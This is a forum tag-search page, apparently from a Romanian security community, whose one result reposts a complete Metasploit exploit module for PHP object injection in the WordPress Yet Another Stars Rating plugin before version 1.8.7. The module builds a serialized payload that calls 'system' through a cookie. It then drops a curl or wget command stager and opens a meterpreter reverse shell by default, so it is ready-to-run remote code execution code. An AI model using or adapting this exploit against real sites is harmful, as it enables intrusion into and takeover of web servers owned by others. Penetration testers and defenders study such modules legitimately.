Jump to content

Search the Community

Showing results for tags 'paul dannewitz'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 1 result

  1. This Metasploit module affects WordPress Yet Another Stars Rating plugin versions prior to 1.8.7 and demonstrates a PHP object injection vulnerability. class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7', 'Description' => %q{ This module exploits Wordpress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7. The vulnerability is exploitable if there is the Wordpress site uses a 'yasr_visitor_votes' shortcode in a page (authenticated or not). This exploit uses the Requests_Utility_FilteredIterator as WP core class to exploit deserialization. The class allows to send an array and a callback in the constructur, and it will be called in every foreach loop. As the vulnerable module uses the unserialized cookie for a foreach loop, it is possible to exploit this behaviour to exploit the vulnerability. Wordpress disable deserialization for Requests_Utility_FilteredIterator in Wordpress >= 5.5.2, so the exploit only works for Wordpress versions < 5.5.2. Tested on: - Wordpress 5.4.1, - Yet Another Stars rating plugin = 1.8.6 - php 5.6 (in php7 you should customize the serialization payload to try the exploitation) }, 'Author' => [ 'Paul Dannewitz', # Vulnerability Discovery 'gx1 <g.per45[at]gmail.com>', # Exploit Developer ], 'Platform' => 'linux', 'Arch' => ARCH_PHP, 'Targets' => [['WordPress', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' }, 'CmdStagerFlavor' => ['curl', 'wget'], 'References' => [ ['URL', 'https://wpscan.com/vulnerability/9207'], ['URL', 'https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress'], ['URL', 'https://www.cybersecurity-help.cz/vulnerabilities/17273/'], ['URL', 'https://cybersecsi.com/study-php-unserialize-object-injection-in-yet-another-stars-rating-plugin-by-using-docker-security-playground/'] # Exploit development explanation ], 'License' => MSF_LICENSE )) register_options([ OptString.new('PATH_CONTAINING_YASR_SHORTCODE', [true, 'The path containing yasr_visitor_votes shortcode', '/'] ), OptBool.new('REQUIRE_LOGIN', [true, 'If you need login to view tha path containing yasr shortcode', false] ), OptString.new('USERNAME', [false, 'The Wordpress username to authenticate with'] ), OptString.new('PASSWORD', [false, 'The Wordpress username to authenticate with'] ) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) ]) end def yasr_path return datastore['PATH_CONTAINING_YASR_SHORTCODE'] end def cmdstager_path @cmdstager_path ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" end def username return datastore['USERNAME'] end def password return datastore['PASSWORD'] end def require_login return datastore['REQUIRE_LOGIN'] end def check if not wordpress_and_online? print_error("#{target_uri} does not seem to be WordPress site") return end version = wordpress_version if not version.nil? print_status("#{target_uri} - WordPress Version #{version} detected") if version if Gem::Version.new(version) >= Gem::Version.new("5.5.2") print_bad("Version higher or equal to 5.5.2") return CheckCode::Safe end return check_plugin_version_from_readme('yet-another-stars-rating', '1.8.7') end return CheckCode::Unknown end def serialized_payload(p) return "C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A#{p.length + 63 + p.length.digits.length }%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A#{p.length}%3A%22#{URI.encode_www_form_component(p)}%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D" end def exploit fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? if require_login print_status("Authentication required, try to login") cookie = wordpress_login(username, password) if cookie print_status("Login successed") else fail_with('Authentication failed', "Unable to login") end else # No login: empty cookie cookie = "" end print_status("Run exploit") print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager") @cmdstager = generate_cmdstager( temp: datastore['WritableDir'], file: File.basename(cmdstager_path) ).join(';') register_file_for_cleanup(cmdstager_path) sp = serialized_payload(@cmdstager) print_status("Send serialized payload: #{sp}") cookie = "#{cookie} yasr_visitor_vote_cookie=#{sp}" res = send_request_cgi({ 'method' => 'GET', 'uri' => yasr_path, 'cookie' => cookie}, 1) end end # 0day.today [2020-12-19] # Source
×
×
  • Create New...